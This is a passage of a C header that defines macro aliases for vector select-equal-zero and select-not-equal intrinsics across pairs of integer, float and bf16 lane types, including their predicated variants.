v_i16_sel_eq_i16_vb(a, b, c, d, SW_MASK_EQ_ZERO, i, to_bool128(p), o)\n#define v_i16_i16_sel_eq_zero_v_s_v_v_vb v_i16_i16_sel_eq_zero_v_v_v_v_vb\n#define v_i16_i16_sel_eq_zero_v_v_v_s_vb v_i16_i16_sel_eq_zero_v_v_v_v_vb\n\n// i16 - u16\n#define v_u16_i16_sel_eq_zero_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel_eq_u16_b(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_u16_i16_sel_eq_zero_v_s_v_v_b v_u16_i16_sel_eq_zero_v_v_v_v_b\n#define v_u16_i16_sel_eq_zero_v_v_v_s_b v_u16_i16_sel_eq_zero_v_v_v_v_b\n#define v_u16_i16_sel_eq_zero_v_v_v_v(a, b, c, d) v_u16_i16_sel_eq_zero_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u16_i16_sel_eq_zero_v_s_v_v v_u16_i16_sel_eq_zero_v_v_v_v\n#define v_u16_i16_sel_eq_zero_v_v_v_s v_u16_i16_sel_eq_zero_v_v_v_v\n\n#define v_u16_i16_sel_eq_zero_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel_eq_u16_vb(a, b, c, d, SW_MASK_EQ_ZERO, i, to_bool128(p), o)\n#define v_u16_i16_sel_eq_zero_v_s_v_v_vb v_u16_i16_sel_eq_zero_v_v_v_v_vb\n#define v_u16_i16_sel_eq_zero_v_v_v_s_vb v_u16_i16_sel_eq_zero_v_v_v_v_vb\n\n// u16 - bf16\n#define v_bf16_u16_sel_eq_zero_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel_eq_bf16_b(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_bf16_u16_sel_eq_zero_v_s_v_v_b v_bf16_u16_sel_eq_zero_v_v_v_v_b\n#define v_bf16_u16_sel_eq_zero_v_v_v_s_b v_bf16_u16_sel_eq_zero_v_v_v_v_b\n#define v_bf16_u16_sel_eq_zero_v_v_v_v(a, b, c, d) v_bf16_u16_sel_eq_zero_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_bf16_u16_sel_eq_zero_v_s_v_v v_bf16_u16_sel_eq_zero_v_v_v_v\n#define v_bf16_u16_sel_eq_zero_v_v_v_s v_bf16_u16_sel_eq_zero_v_v_v_v\n\n#define v_bf16_u16_sel_eq_zero_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel_eq_bf16_vb(a, b, c, d, SW_MASK_EQ_ZERO, i, to_bool128(p), o)\n#define v_bf16_u16_sel_eq_zero_v_s_v_v_vb v_bf16_u16_sel_eq_zero_v_v_v_v_vb\n#define v_bf16_u16_sel_eq_zero_v_v_v_s_vb v_bf16_u16_sel_eq_zero_v_v_v_v_vb\n\n// u16 - i16\n#define v_i16_u16_sel_eq_zero_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel_eq_i16_b(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_i16_u16_sel_eq_zero_v_s_v_v_b v_i16_u16_sel_eq_zero_v_v_v_v_b\n#define v_i16_u16_sel_eq_zero_v_v_v_s_b v_i16_u16_sel_eq_zero_v_v_v_v_b\n#define v_i16_u16_sel_eq_zero_v_v_v_v(a, b, c, d) v_i16_u16_sel_eq_zero_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i16_u16_sel_eq_zero_v_s_v_v v_i16_u16_sel_eq_zero_v_v_v_v\n#define v_i16_u16_sel_eq_zero_v_v_v_s v_i16_u16_sel_eq_zero_v_v_v_v\n\n#define v_i16_u16_sel_eq_zero_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel_eq_i16_vb(a, b, c, d, SW_MASK_EQ_ZERO, i, to_bool128(p), o)\n#define v_i16_u16_sel_eq_zero_v_s_v_v_vb v_i16_u16_sel_eq_zero_v_v_v_v_vb\n#define v_i16_u16_sel_eq_zero_v_v_v_s_vb v_i16_u16_sel_eq_zero_v_v_v_v_vb\n\n// u16 - u16\n#define v_u16_u16_sel_eq_zero_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel_eq_u16_b(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_u16_u16_sel_eq_zero_v_s_v_v_b v_u16_u16_sel_eq_zero_v_v_v_v_b\n#define v_u16_u16_sel_eq_zero_v_v_v_s_b v_u16_u16_sel_eq_zero_v_v_v_v_b\n#define v_u16_u16_sel_eq_zero_v_v_v_v(a, b, c, d) v_u16_u16_sel_eq_zero_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u16_u16_sel_eq_zero_v_s_v_v v_u16_u16_sel_eq_zero_v_v_v_v\n#define v_u16_u16_sel_eq_zero_v_v_v_s v_u16_u16_sel_eq_zero_v_v_v_v\n\n#define v_u16_u16_sel_eq_zero_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel_eq_u16_vb(a, b, c, d, SW_MASK_EQ_ZERO, i, to_bool128(p), o)\n#define v_u16_u16_sel_eq_zero_v_s_v_v_vb v_u16_u16_sel_eq_zero_v_v_v_v_vb\n#define v_u16_u16_sel_eq_zero_v_v_v_s_vb v_u16_u16_sel_eq_zero_v_v_v_v_vb\n\n// i8 - u8\n#define v_i8_i8_sel_eq_zero_v_v_v_v_b(a, b, c, d, i, p, o) v_i8_sel_eq_i8_b(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_i8_i8_sel_eq_zero_v_s_v_v_b v_i8_i8_sel_eq_zero_v_v_v_v_b\n#define v_i8_i8_sel_eq_zero_v_v_v_s_b v_i8_i8_sel_eq_zero_v_v_v_v_b\n#define v_i8_i8_sel_eq_zero_v_v_v_v(a, b, c, d) v_i8_i8_sel_eq_zero_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i8_i8_sel_eq_zero_v_s_v_v v_i8_i8_sel_eq_zero_v_v_v_v\n#define v_i8_i8_sel_eq_zero_v_v_v_s v_i8_i8_sel_eq_zero_v_v_v_v\n\n#define v_i8_i8_sel_eq_zero_v_v_v_v_vb(a, b, c, d, i, p, o) v_i8_sel_eq_i8_vb(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_i8_i8_sel_eq_zero_v_s_v_v_vb v_i8_i8_sel_eq_zero_v_v_v_v_vb\n#define v_i8_i8_sel_eq_zero_v_v_v_s_vb v_i8_i8_sel_eq_zero_v_v_v_v_vb\n\n// i8 - u8\n#define v_u8_i8_sel_eq_zero_v_v_v_v_b(a, b, c, d, i, p, o) v_i8_sel_eq_u8_b(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_u8_i8_sel_eq_zero_v_s_v_v_b v_u8_i8_sel_eq_zero_v_v_v_v_b\n#define v_u8_i8_sel_eq_zero_v_v_v_s_b v_u8_i8_sel_eq_zero_v_v_v_v_b\n#define v_u8_i8_sel_eq_zero_v_v_v_v(a, b, c, d) v_u8_i8_sel_eq_zero_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u8_i8_sel_eq_zero_v_s_v_v v_u8_i8_sel_eq_zero_v_v_v_v\n#define v_u8_i8_sel_eq_zero_v_v_v_s v_u8_i8_sel_eq_zero_v_v_v_v\n\n#define v_u8_i8_sel_eq_zero_v_v_v_v_vb(a, b, c, d, i, p, o) v_i8_sel_eq_u8_vb(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_u8_i8_sel_eq_zero_v_s_v_v_vb v_u8_i8_sel_eq_zero_v_v_v_v_vb\n#define v_u8_i8_sel_eq_zero_v_v_v_s_vb v_u8_i8_sel_eq_zero_v_v_v_v_vb\n\n// u8 - i8\n#define v_i8_u8_sel_eq_zero_v_v_v_v_b(a, b, c, d, i, p, o) v_u8_sel_eq_i8_b(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_i8_u8_sel_eq_zero_v_s_v_v_b v_i8_u8_sel_eq_zero_v_v_v_v_b\n#define v_i8_u8_sel_eq_zero_v_v_v_s_b v_i8_u8_sel_eq_zero_v_v_v_v_b\n#define v_i8_u8_sel_eq_zero_v_v_v_v(a, b, c, d) v_i8_u8_sel_eq_zero_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i8_u8_sel_eq_zero_v_s_v_v v_i8_u8_sel_eq_zero_v_v_v_v\n#define v_i8_u8_sel_eq_zero_v_v_v_s v_i8_u8_sel_eq_zero_v_v_v_v\n\n#define v_i8_u8_sel_eq_zero_v_v_v_v_vb(a, b, c, d, i, p, o) v_u8_sel_eq_i8_vb(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_i8_u8_sel_eq_zero_v_s_v_v_vb v_i8_u8_sel_eq_zero_v_v_v_v_vb\n#define v_i8_u8_sel_eq_zero_v_v_v_s_vb v_i8_u8_sel_eq_zero_v_v_v_v_vb\n\n// u8 - u8\n#define v_u8_u8_sel_eq_zero_v_v_v_v_b(a, b, c, d, i, p, o) v_u8_sel_eq_u8_b(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_u8_u8_sel_eq_zero_v_s_v_v_b v_u8_u8_sel_eq_zero_v_v_v_v_b\n#define v_u8_u8_sel_eq_zero_v_v_v_s_b v_u8_u8_sel_eq_zero_v_v_v_v_b\n#define v_u8_u8_sel_eq_zero_v_v_v_v(a, b, c, d) v_u8_u8_sel_eq_zero_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u8_u8_sel_eq_zero_v_s_v_v v_u8_u8_sel_eq_zero_v_v_v_v\n#define v_u8_u8_sel_eq_zero_v_v_v_s v_u8_u8_sel_eq_zero_v_v_v_v\n\n#define v_u8_u8_sel_eq_zero_v_v_v_v_vb(a, b, c, d, i, p, o) v_u8_sel_eq_u8_vb(a, b, c, d, SW_MASK_EQ_ZERO, i, p, o)\n#define v_u8_u8_sel_eq_zero_v_s_v_v_vb v_u8_u8_sel_eq_zero_v_v_v_v_vb\n#define v_u8_u8_sel_eq_zero_v_v_v_s_vb v_u8_u8_sel_eq_zero_v_v_v_v_vb\n\n\n// SEL_NEQ\n\n// f32 - f32\n#define v_f32_f32_sel_neq_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel_neq_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_f32_sel_neq_v_s_v_v_b v_f32_f32_sel_neq_v_v_v_v_b\n#define v_f32_f32_sel_neq_v_v_v_s_b v_f32_f32_sel_neq_v_v_v_v_b\n#define v_f32_f32_sel_neq_v_v_v_v(a, b, c, d) v_f32_f32_sel_neq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_f32_f32_sel_neq_v_s_v_v v_f32_f32_sel_neq_v_v_v_v\n#define v_f32_f32_sel_neq_v_v_v_s v_f32_f32_sel_neq_v_v_v_v\n\n#define v_f32_f32_sel_neq_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel_neq_f32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_f32_f32_sel_neq_v_s_v_v_vb v_f32_f32_sel_neq_v_v_v_v_vb\n#define v_f32_f32_sel_neq_v_v_v_s_vb v_f32_f32_sel_neq_v_v_v_v_vb\n\n// f32 - i32\n#define v_i32_f32_sel_neq_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel_neq_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_f32_sel_neq_v_s_v_v_b v_i32_f32_sel_neq_v_v_v_v_b\n#define v_i32_f32_sel_neq_v_v_v_s_b v_i32_f32_sel_neq_v_v_v_v_b\n#define v_i32_f32_sel_neq_v_v_v_v(a, b, c, d) v_i32_f32_sel_neq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i32_f32_sel_neq_v_s_v_v v_i32_f32_sel_neq_v_v_v_v\n#define v_i32_f32_sel_neq_v_v_v_s v_i32_f32_sel_neq_v_v_v_v\n\n#define v_i32_f32_sel_neq_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel_neq_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_f32_sel_neq_v_s_v_v_vb v_i32_f32_sel_neq_v_v_v_v_vb\n#define v_i32_f32_sel_neq_v_v_v_s_vb v_i32_f32_sel_neq_v_v_v_v_vb\n\n// f32 - u32\n#define v_u32_f32_sel_neq_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel_neq_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_f32_sel_neq_v_s_v_v_b v_u32_f32_sel_neq_v_v_v_v_b\n#define v_u32_f32_sel_neq_v_v_v_s_b v_u32_f32_sel_neq_v_v_v_v_b\n#define v_u32_f32_sel_neq_v_v_v_v(a, b, c, d) v_u32_f32_sel_neq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u32_f32_sel_neq_v_s_v_v v_u32_f32_sel_neq_v_v_v_v\n#define v_u32_f32_sel_neq_v_v_v_s v_u32_f32_sel_neq_v_v_v_v\n\n#define v_u32_f32_sel_neq_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel_neq_u32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_u32_f32_sel_neq_v_s_v_v_vb v_u32_f32_sel_neq_v_v_v_v_vb\n#define v_u32_f32_sel_neq_v_v_v_s_vb v_u32_f32_sel_neq_v_v_v_v_vb\n\n// bf16 - bf16\n#define v_bf16_bf16_sel_neq_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel_neq_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_bf16_sel_neq_v_s_v_v_b v_bf16_bf16_sel_neq_v_v_v_v_b\n#define v_bf16_bf16_sel_neq_v_v_v_s_b v_bf16_bf16_sel_neq_v_v_v_v_b\n#define v_bf16_bf16_sel_neq_v_v_v_v(a, b, c, d) v_bf16_bf16_sel_neq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_bf16_bf16_sel_neq_v_s_v_v v_bf16_bf16_sel_neq_v_v_v_v\n#define v_bf16_bf16_sel_neq_v_v_v_s v_bf16_bf16_sel_neq_v_v_v_v\n\n#define v_bf16_bf16_sel_neq_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel_neq_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_bf16_bf16_sel_neq_v_s_v_v_vb v_bf16_bf16_sel_neq_v_v_v_v_vb\n#define v_bf16_bf16_sel_neq_v_v_v_s_vb v_bf16_bf16_sel_neq_v_v_v_v_vb\n\n// bf16 - i16\n#define v_i16_bf16_sel_neq_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel_neq_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_bf16_sel_neq_v_s_v_v_b v_i16_bf16_sel_neq_v_v_v_v_b\n#define v_i16_bf16_sel_neq_v_v_v_s_b v_i16_bf16_sel_neq_v_v_v_v_b\n#define v_i16_bf16_sel_neq_v_v_v_v(a, b, c, d) v_i16_bf16_sel_neq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i16_bf16_sel_neq_v_s_v_v v_i16_bf16_sel_neq_v_v_v_v\n#define v_i16_bf16_sel_neq_v_v_v_s v_i16_bf16_sel_neq_v_v_v_v\n\n#define v_i16_bf16_sel_neq_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel_neq_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_bf16_sel_neq_v_s_v_v_vb v_i16_bf16_sel_neq_v_v_v_v_vb\n#define v_i16_bf16_sel_neq_v_v_v_s_vb v_i16_bf16_sel_neq_v_v_v_v_vb\n\n// bf16 - u16\n#define v_u16_bf16_sel_neq_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel_neq_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_bf16_sel_neq_v_s_v_v_b v_u16_bf16_sel_neq_v_v_v_v_b\n#define v_u16_bf16_sel_neq_v_v_v_s_b v_u16_bf16_sel_neq_v_v_v_v_b\n#define v_u16_bf16_sel_neq_v_v_v_v(a, b, c, d) v_u16_bf16_sel_neq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u16_bf16_sel_neq_v_s_v_v v_u16_bf16_sel_neq_v_v_v_v\n#define v_u16_bf16_sel_neq_v_v_v_s v_u16_bf16_sel_neq_v_v_v_v\n\n#define v_u16_bf16_sel_neq_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel_neq_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_bf16_sel_neq_v_s_v_v_vb v_u16_bf16_sel_neq_v_v_v_v_vb\n#define v_u16_bf16_sel_neq_v_v_v_s_vb v_u16_bf16_sel_neq_v_v_v_v_vb\n\n// i32 - f32\n#define v_f32_i32_sel_neq_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel_neq_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_i32_sel_neq_v_s_v_v_b v_f32_i32_sel_neq_v_v_v_v_b\n#define v_f32_i32_sel_neq_v_v_v_s_b v_f32_i32_sel_neq_v_v_v_v_b\n#define v_f32_i32_sel_neq_v_v_v_v(a, b, c, d) v_f32_i32_sel_neq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_f32_i32_sel_neq_v_s_v_v v_f32_i32_sel_neq_v_v_v_v\n#define v_f32_i32_sel_neq_v_v_v_s v_f32_i32_sel_neq_v_v_v_v\n\n#define v_f32_i32_sel_neq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel_neq_f32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_f32_i32_sel_neq_v_s_v_v_vb v_f32_i32_sel_neq_v_v_v_v_vb\n#define v_f32_i32_sel_neq_v_v_v_s_vb v_f32_i32_sel_neq_v_v_v_v_vb\n\n// i32 - i32\n#define v_i32_i32_sel_neq_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel_neq_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_i32_sel_neq_v_s_v_v_b v_i32_i32_sel_neq_v_v_v_v_b\n#define v_i32_i32_sel_neq_v_v_v_s_b v_i32_i32_sel_neq_v_v_v_v_b\n#define v_i32_i32_sel_neq_v_v_v_v(a, b, c, d) v_i32_i32_sel_neq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i32_i32_sel_neq_v_s_v_v v_i32_i32_sel_neq_v_v_v_v\n#define v_i32_i32_sel_neq_v_v_v_s v_i32_i32_sel_neq_v_v_v_v\n\n#define v_i32_i32_sel_neq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel_neq_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_i32_sel_neq_v_s_v_v_vb v_i32_i32_sel_neq_v_v_v_v_vb\n#define v_i32_i32_sel_neq_v_v_v_s_vb v_i32_i32_sel_neq_v_v_v_v_vb\n\n// i32 - u32\n#define v_u32_i32_sel_neq_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel_neq_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_i32_sel_neq_v_s_v_v_b v_u32_i32_sel_neq_v_v_v_v_b\n#define v_u32_i32_sel_neq_v_v_v_s_b v_u32_i32_sel_neq_v_v_v_v_b\n#define v_u32_i32_sel_neq_v_v_v_v(a, b, c, d) v_u32_i32_sel_neq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u32_i32_sel_neq_v_s_v_v v_u32_i32_sel_neq_v_v_v_v\n#define v_u32_i32_sel_neq_v_v_v_s v_u32_i32_sel_neq_v_v_v_v\n\n#define v_u32_i32_sel_neq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel_neq_u32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_u32_i32_sel_neq_v_s_v_v_vb v_u32_i32_sel_neq_v_v_v_v_vb\n#define v_u32_i32_sel_neq_v_v_v_s_vb v_u32_i32_sel_neq_v_v_v_v_vb\n\n// u32 - f32\n#define v_f32_u32_sel_neq_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel_neq_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_u32_sel_neq_v_s_v_v_b v_f32_u32_sel_neq_v_v_v_v_b\n#define v_f32_u32_sel_neq_v_v_v_s_b v_f32_u32_sel_neq_v_v_v_v_b\n#define v_f32_u32_sel_neq_v_v_v_v(a, b, c, d) v_f32_u32_sel_neq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_f32_u32_sel_neq_v_s_v_v v_f32_u32_sel_neq_v_v_v_v\n#define v_f32_u32_sel_neq_v_v_v_s v_f32_u32_sel_neq_v_v_v_v\n\n#define v_f32_u32_sel_neq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel_neq_f32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_f32_u32_sel_neq_v_s_v_v_vb v_f32_u32_sel_neq_v_v_v_v_vb\n#define v_f32_u32_sel_neq_v_v_v_s_vb v_f32_u32_sel_neq_v_v_v_v_vb\n\n// u32 - i32\n#define v_i32_u32_sel_neq_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel_neq_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_u32_sel_neq_v_s_v_v_b v_i32_u32_sel_neq_v_v_v_v_b\n#define v_i32_u32_sel_neq_v_v_v_s_b v_i32_u32_sel_neq_v_v_v_v_b\n#define v_i32_u32_sel_neq_v_v_v_v(a, b, c, d) v_i32_u32_sel_neq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i32_u32_sel_neq_v_s_v_v v_i32_u32_sel_neq_v_v_v_v\n#define v_i32_u32_sel_neq_v_v_v_s v_i32_u32_sel_neq_v_v_v_v\n\n#define v_i32_u32_sel_neq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel_neq_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_u32_sel_neq_v_s_v_v_vb v_i32_u32_sel_neq_v_v_v_v_vb\n#define v_i32_u32_sel_neq_v_v_v_s_vb v_i32_u32_sel_neq_v_v_v_v_vb\n\n// u32 - u32\n#define v_u32_u32_sel_neq_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel_neq_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_u32_sel_neq_v_s_v_v_b v_u32_u32_sel_neq_v_v_v_v_b\n#define v_u32_u32_sel_neq_v_v_v_s_b v_u32_u32_sel_neq_v_v_v_v_b\n#define v_u32_u32_sel_neq_v_v_v_v(a, b, c, d) v_u32_u32_sel_neq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u32_u32_sel_neq_v_s_v_v v_u32_u32_sel_neq_v_v_v_v\n#define v_u32_u32_sel_neq_v_v_v_s v_u32_u32_sel_neq_v_v_v_v\n\n#define v_u32_u32_sel_neq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel_neq_u32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_u32_u32_sel_neq_v_s_v_v_vb v_u32_u32_sel_neq_v_v_v_v_vb\n#define v_u32_u32_sel_neq_v_v_v_s_vb v_u32_u32_sel_neq_v_v_v_v_vb\n\n// i16 - bf16\n#define v_bf16_i16_sel_neq_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel_neq_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_i16_sel_neq_v_s_v_v_b v_bf16_i16_sel_neq_v_v_v_v_b\n#define v_bf16_i16_sel_neq_v_v_v_s_b v_bf16_i16_sel_neq_v_v_v_v_b\n#define v_bf16_i16_sel_neq_v_v_v_v(a, b, c, d) v_bf16_i16_sel_neq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_bf16_i16_sel_neq_v_s_v_v v_bf16_i16_sel_neq_v_v_v_v\n#define v_bf16_i16_sel_neq_v_v_v_s v_bf16_i16_sel_neq_v_v_v_v\n\n#define v_bf16_i16_sel_neq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel_neq_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_bf16_i16_sel_neq_v_s_v_v_vb v_bf16_i16_sel_neq_v_v_v_v_vb\n#define v_bf16_i16_sel_neq_v_v_v_s_vb v_bf16_i16_sel_neq_v_v_v_v_vb\n\n// i16 - i16\n#define v_i16_i16_sel_neq_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel_neq_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_i16_sel_neq_v_s_v_v_b v_i16_i16_sel_neq_v_v_v_v_b\n#define v_i16_i16_sel_neq_v_v_v_s_b v_i16_i16_sel_neq_v_v_v_v_b\n#define v_i16_i16_sel_neq_v_v_v_v(a, b, c, d) v_i16_i16_sel_neq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i16_i16_sel_neq_v_s_v_v v_i16_i16_sel_neq_v_v_v_v\n#define v_i16_i16_sel_neq_v_v_v_s v_i16_i16_sel_neq_v_v_v_v\n\n#define v_i16_i16_sel_neq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel_neq_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_i16_sel_neq_v_s_v_v_vb v_i16_i16_sel_neq_v_v_v_v_vb\n#define v_i16_i16_sel_neq_v_v_v_s_vb v_i16_i16_sel_neq_v_v_v_v_vb\n\n// i16 - u16\n#define v_u16_i16_sel_neq_v_v_v_v_b(a, b, c, d, i, p, o) v_i16_sel_neq_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_i16_sel_neq_v_s_v_v_b v_u16_i16_sel_neq_v_v_v_v_b\n#define v_u16_i16_sel_neq_v_v_v_s_b v_u16_i16_sel_neq_v_v_v_v_b\n#define v_u16_i16_sel_neq_v_v_v_v(a, b, c, d) v_u16_i16_sel_neq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u16_i16_sel_neq_v_s_v_v v_u16_i16_sel_neq_v_v_v_v\n#define v_u16_i16_sel_neq_v_v_v_s v_u16_i16_sel_neq_v_v_v_v\n\n#define v_u16_i16_sel_neq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i16_sel_neq_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_i16_sel_neq_v_s_v_v_vb v_u16_i16_sel_neq_v_v_v_v_vb\n#define v_u16_i16_sel_neq_v_v_v_s_vb v_u16_i16_sel_neq_v_v_v_v_vb\n\n// u16 - bf16\n#define v_bf16_u16_sel_neq_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel_neq_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_u16_sel_neq_v_s_v_v_b v_bf16_u16_sel_neq_v_v_v_v_b\n#define v_bf16_u16_sel_neq_v_v_v_s_b v_bf16_u16_sel_neq_v_v_v_v_b\n#define v_bf16_u16_sel_neq_v_v_v_v(a, b, c, d) v_bf16_u16_sel_neq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_bf16_u16_sel_neq_v_s_v_v v_bf16_u16_sel_neq_v_v_v_v\n#define v_bf16_u16_sel_neq_v_v_v_s v_bf16_u16_sel_neq_v_v_v_v\n\n#define v_bf16_u16_sel_neq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel_neq_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_bf16_u16_sel_neq_v_s_v_v_vb v_bf16_u16_sel_neq_v_v_v_v_vb\n#define v_bf16_u16_sel_neq_v_v_v_s_vb v_bf16_u16_sel_neq_v_v_v_v_vb\n\n// u16 - i16\n#define v_i16_u16_sel_neq_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel_neq_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_u16_sel_neq_v_s_v_v_b v_i16_u16_sel_neq_v_v_v_v_b\n#define v_i16_u16_sel_neq_v_v_v_s_b v_i16_u16_sel_neq_v_v_v_v_b\n#define v_i16_u16_sel_neq_v_v_v_v(a, b, c, d) v_i16_u16_sel_neq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i16_u16_sel_neq_v_s_v_v v_i16_u16_sel_neq_v_v_v_v\n#define v_i16_u16_sel_neq_v_v_v_s v_i16_u16_sel_neq_v_v_v_v\n\n#define v_i16_u16_sel_neq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel_neq_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_u16_sel_neq_v_s_v_v_vb v_i16_u16_sel_neq_v_v_v_v_vb\n#define v_i16_u16_sel_neq_v_v_v_s_vb v_i16_u16_sel_neq_v_v_v_v_vb\n\n// u16 - u16\n#define v_u16_u16_sel_neq_v_v_v_v_b(a, b, c, d, i, p, o) v_u16_sel_neq_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_u16_sel_neq_v_s_v_v_b v_u16_u16_sel_neq_v_v_v_v_b\n#define v_u16_u16_sel_neq_v_v_v_s_b v_u16_u16_sel_neq_v_v_v_v_b\n#define v_u16_u16_sel_neq_v_v_v_v(a, b, c, d) v_u16_u16_sel_neq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u16_u16_sel_neq_v_s_v_v v_u16_u16_sel_neq_v_v_v_v\n#define v_u16_u16_sel_neq_v_v_v_s v_u16_u16_sel_neq_v_v_v_v\n\n#define v_u16_u16_sel_neq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u16_sel_neq_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_u16_sel_neq_v_s_v_v_vb v_u16_u16_sel_neq_v_v_v_v_vb\n#define v_u16_u16_sel_neq_v_v_v_s_vb v_u16_u16_sel_neq_v_v_v_v_vb\n\n// i8 - u8\n#define 